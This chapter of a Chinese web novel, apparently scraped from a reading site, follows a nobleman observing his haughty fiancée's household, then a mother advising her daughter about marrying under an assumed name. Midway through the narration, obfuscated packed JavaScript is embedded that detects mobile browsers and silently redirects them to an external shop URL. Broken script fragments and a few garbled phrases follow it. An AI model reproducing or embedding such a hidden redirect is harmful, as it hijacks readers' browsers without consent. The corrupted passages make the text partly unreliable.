默认冷灰
24号文字
方正启体

17. 十七、窥玉墙东

作者:梅影88本书字数:K更新时间:
    “那不是宋姑娘身边的婢女吗?”参横仔细瞧了瞧,喃喃自语。


    顾清洛定睛一看,可不就是,这个小姑娘正横眉冷对、双手叉腰.旁边的仆妇亦是如此,一副要把对方吞了的架势.宋家姑娘就站在她们身后,虽未言语,但满脸写着不高兴。


    顾清洛以为她们受了欺负,刚要挺身而出,却被参横一把拉住,“小郎君莫急,先看看再说。”


    “你这娘子好生蛮横,明明是我先来挑选的,你却要抢,不懂得先来后到吗?”说话的是一位俊秀的小娘子,穿戴朴素,未施粉黛,她一着急,脸都红了,气势上却不愿退让。


    顾清洛凑近了些,以便能更好地观察事态的发展。看一会儿就明白了,原来是因为仅剩的一份药材。这苍术、芸香等药材,是除夕夜用来在房中焚烧,“辟瘟气、祈吉祥”的,大家争相购买,无非是为了讨个吉利。


    “真是笑话,‘挑选’半天却不见掏钱购买,要是没钱就别出来丢人!”宋姑娘身边的小婢女不甘示弱,句句呛人。


    卖药材的大娘显得有些无奈,“姑娘,这药材就只剩一份了,您稍等下,半炷香工夫,补的货就会送过来。”


    虽然等待时间不长,但那位俊秀的女娘并不满意,依旧不肯退让。她旁边的老伯扯了扯她的衣襟,陪笑道:“既然这位娘子先付了钱,我们就不争了。”


    “爹!”俊秀娘子埋怨了一声,气得扭过头。


    卖药材的大娘装好了最后一份苍术,递给旁边得意洋洋的小婢女,又恭敬地对着宋姑娘拜道:“祝宋家娘子阖府康泰!”


    宋家姑娘并未搭话,出来半日,请了专为除夕夜点的“岁灯”,又买了几大包苍术,觉着有些腿酸,鼻尖也微微冒了汗。她抬头瞥了一眼对方,只轻轻说了句,“回吧,出来太久,我也乏了。”声音里带着一丝满足的倦意。


    “难怪那么刁钻,原来是‘高门大户’的千金,我们平头百姓真真是惹不起!”那小女娘伶牙俐齿,对权贵全无一丝惧怕。老伯反倒是被吓得一脸煞白,捂住了闺女的嘴。


    小婢女可容不得对方在语言上占尽优势,立马回嘴道:“没错,我们家姑娘就是贵府千金,京中伯爵府公子未过门的新妇,你们如何比得!”对方不再说话了,一阵沉默……


    风过,宋家姑娘裹紧了她的披风,风帽边缘那圈软软的银狐细毛随风轻抖,划过她的侧脸,愈发莹白如玉。也许是冷了,她转身即走,嘴角又挤出轻蔑的一笑。这一笑,不易让人察觉,却惊了顾清洛的心。未过门的妻子在这场闹剧中虽一言不发,但贴身婢女这番“振聋发聩”的言辞、尖酸刻薄的做派,必是得自家姑娘的“真传”。


    等宋家的人走后,老伯才叹息道:“你啊你,何苦与千金贵女斗气,还好她没有为难咱们。”


    小女娘一脸不服气,撇着嘴,不想与父亲理论。


    恰巧,补货的伙计赶了过来,卖药材的大娘将一大包苍术、芸香递给了正在生闷气的小女娘,“女娘莫要生气,来,大娘送你一包,算是对刚才不能替你说话的补偿吧。”


    小女娘和老伯连忙推让,可终是拗不过热情的大娘,只得接过药材,作揖称谢。大娘有语重心地嘱咐道:“只是还得奉劝你一句,高门大户的人,是咱们惹不起的,能躲开就躲!”


    小女娘眼眶发红、若有所思,自怨自艾道:“世道如此,我却偏偏自讨苦吃,唉,不过是投了个好胎,有什么可骄横的?高门大户,总有它没落的时候!”


    “这位公子也要苍术吗?不好意思,让您久等了。”卖药大娘见顾清洛不声不响,在这站了许久,就以为他是等着买苍术的。


    顾清洛怔在原地,看着父女俩离开的背影,心中有种酸涩的苦楚在全身蔓延。参横拿出铜板回道:“来一份吧!”参横接过东西,就拉着顾清洛离开了这个是非之地。


    人声鼎沸、烟火人间,此刻,这一切仿佛都与他再无关联。两个人并排骑着马,慢悠悠地跟在宋家马车的后面,一直跟到了亲眼看着她们进了宋府的大门,才肯善罢甘休。


    参横晓得顾清洛心中的落差有多大,却不好再劝些什么,只是轻声的说了句,“小郎君,咱们回去吧。”


    顾清洛眉头紧锁,看着宋宅朱红色的大门,慨叹道:“这深宅大院,里面不知道藏了多少腌臜事,婢子心术不正,主子也好不到哪去。”


    参横摸了摸脑袋,一脸惆怅,“可这喜帖,早就发了出去。伯爷和夫人那边……”


    顾清洛眼神突然变得犀利,咬牙切齿、一字一顿地说道;“我顾清洛绝不认命!”


    后厅的院子前,摆满了不知从何处送来的礼品,琳琅满目、流光溢彩。宋夫人李婷正忙着过目礼单,将这些记录在册,以便日后还礼。


    “母亲,看我买回了什么?”宋意欢将岁灯和苍术在李婷眼前晃了晃。


    宋夫人宠溺地一笑,嗔怪道:“都要嫁人了,还像小孩子一样顽闹,成何体统?”


    宋意欢做了个鬼脸,刚要跑开,就被李婷拽住,“这些是顾家送来的,有你喜欢的上好翡翠。”宋意欢看着那些首饰,不由畅想起成亲的瞬间,霎时羞红了脸。


    李婷宠溺地用手指戳了戳宋意欢的额头,打趣道:“我可得告诉你父亲一声,他的掌上明珠恨嫁了啊!”笑罢,又指着另一边,“那些是苏府送过来的。”


    宋意欢上前看了几眼,回头问李婷,“母亲,这些是表姐送来的?”宋意欢早就知道李婉柔夫妇回了京,只是这段时间忙于准备婚事,也没来得及和她见面。


    李婷摇了摇头,“婉柔的贺礼必是要单独给你送来的,苏家还是你那位姐姐操持着府中的事,不过,既然你表姐回来了,以后自然是长房管事。”


    宋意欢轻蔑地应和道:“有表姐在,量她也出不了什么风头。”宋意欢搀扶着李婷的胳膊,边聊便往内院走去。


    出了垂花门,便转到了游廊,两边的水池虽没有结冰,却是丝丝寒气,侵人肌骨。李婷紧紧握着宋意欢的手,缓缓踱步,母女二人的温情,让严寒增添了几丝暖意。


    二人走到廊子边,互相依偎着坐在了阶上。就那样静静地坐着,望着天井里那棵石榴树。叶子早落光了,光秃秃的枝丫伸在灰蒙蒙的天底下,瘦骨嶙峋的,像是老了十岁。


    宋清欢靠在廊柱边,身子半倚着,时不时地看看母亲,又低下头去,又看看天井里那棵秃树,想到自己快要离开父母身边,心里竟有些酸涩。


    “母亲,起风了呢。”宋意欢声音很轻。


    “把脸转过来。”李婷温柔地抚着她的肩膀。


    宋意欢扭过脸,和李婷四目相对。木阶冰凉,隔着棉衣都觉着寒意。母亲低头看着她,目光细细的,像是要把她的眉眼、鬓角、耳垂上的小痣,一样一样都看进心里去,收好,藏起来。


    “母亲。”女儿忽然叫了一声。


    “母亲,我听说苏家二公子那个没名分外室怀了孕,要被纳为妾室了!没想到苏家第一个孩子竟然出身如此卑微。”宋意欢有些为李婉柔不平,


    “妾室的孩子,终究出身不好,可奈何他是苏家的第一个孩子,不过这孩子怎么也轮不到一个妾室来亲自抚养。”


    “会不会让表姐这个长媳来抚养呢?”


    “这可说不准,毕竟那是二房的孩子。”


    “那岂不是便宜了宋清欢?”


    李婷伸出食指,挡在了宋意欢的嘴边,殷殷嘱咐道:“意儿,以后对于名字,你务必谨慎,毕竟,你是以她的名义嫁进伯爵府。”


    “可是母亲,什么时候才能堂堂正正地叫我自己真正的名字?我可不愿意一辈子叫那个‘丧门星’的名字啊!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376779|200106||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “一个名字而已,你是愿意顶这个名字嫁给伯爵府的独子,还是就用自己的名字,嫁给早已心有所属、宠妾灭妻的苏家二公子?”


    “现在的贵公子们,哪一个不是既有妻又有妾的,况且,苏家有表姐在,自然是要照应的。”


    李婷拍了拍额头,瞪了她一眼,真是怒其不争。她拉着宋意欢,倚坐在廊边,谆谆教诲道:“傻丫头啊,苏二公子的小妾,那样的出身,却能让他新婚夜弃家而走,又有本事进府独宠,可见不是一般人,你未必是她的对手。而且他二人早已私定终身,你后来者如何能居上?不过是顶个虚名罢了,宋清欢不就是这样?人家好歹在府中安稳度日半载,我想,这要是换作你啊,可没有她这份韧劲。”


    宋意欢撇撇嘴,有些不服气。李婷摇了摇头,语重心长地说道:“意儿,许多事你还未看透,我千挑万选,才给你找了伯爵府这样的人家。顾伯爷夫妇伉俪情深,不曾有妾室。顾家公子从不流连花街柳巷,虽无心科举,但早晚承袭家业。况且又是家中独子,你便省去了妯娌间的算计。人心都是自私的,你表姐是苏家长媳,你若嫁去,那你们就是妯娌,苏家无主母也未分家,才叫长房掌事。忽的一个妾有了孩子,若是男儿,必不能养在妾室之下,自来都是主母养育家中子女,你表姐多年无所出,到那时候这孩子是何去处?苏二公子自然是不愿意的,你从中如何平衡?不是一母所生,还谈什么姊妹,这情分在家中利益之下早晚会消磨殆尽。”


    宋意欢一时语塞,李婷继续说道:“试想你那时的处境:丈夫心系他人,又无掌家之权,哪里还有你的容身之地呢?”


    宋意欢顿时如梦初醒,恍然后觉,方知母亲的良苦用心。


    “母亲,我怕……”宋意欢听了这些,有些胆怯,“怕人家的规矩我记不住,怕公婆的脸色太难看,怕夫君的爱意不长存,怕……”她顿住了,咬着唇,后面的话像是卡在喉咙里的一根刺,说不出来。


    你填的锐利顿时烟消云散。她笑了,笑容里有一种过来人的了然,还有一点酸涩,都藏在眼角深深的纹路里。


    “傻孩子,都是怕的。”她忽然想起自己出嫁前一晚,也是这样坐在母亲面前,“我的外祖母说过,女人这一辈子,就是从一个廊子走到另一个廊子。这边有这边的风雨,那边有那边的艳阳。可你记住,廊子再深,天总是亮的。再冷的冬天,石榴树到了五月,照样开花!”


    宋意欢没有说话,只是将自己的脸颊紧紧地贴在了母亲的手掌心。那手是冰凉的,带着淡淡的皂角香气,深深地印在了她的脑海里。


    “你到了那边,婆家的规矩要敬着,可自己的身子更要紧。天冷了记得加衣裳,手脚凉了就用热水烫一烫,别像我似的,冻疮一烂就是半年。初一十五要是能回来,就托人捎个信,我去大门口亲自等着你。”


    女儿点头,眼圈发红,泪水几乎要夺眶而出。可宋意欢容不得自己期期艾艾,她擦了一把眼睛,定定地说道:“哎呀,我是谁?我是宋意欢!我是您和父亲的掌上明珠,从小宠着长大的!还能有什么能难倒我呢?放心吧母亲,女儿会处理好一切,让自己活得像您一样光彩耀眼。而且,女儿会常回来的。”


    母亲没有回答,只是微微地点了点头。她温柔地抚摸着女儿的头发,望着天井里那棵石榴树。心里从未如此强烈地期盼它来年的绽放,就像是期盼女儿璀璨的未来。


    腊月的风还在吹,呜呜地绕着屋檐转。廊子里什么也没有了,只有风,只有暮色,只有母亲搁在膝头那双手的温度,温热的、很久很久都没有散去。


    回廊悠长,日影垂垂,几株老梅疏疏的、栗褐色的蓓蕾尽情吮吸着阳光。冬日里最难得的莫过响晴的午后。光影将母女二人的身影拉得很长,斑驳而温馨。像这样温暖悠闲的时光,以后,怕是不会再多了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)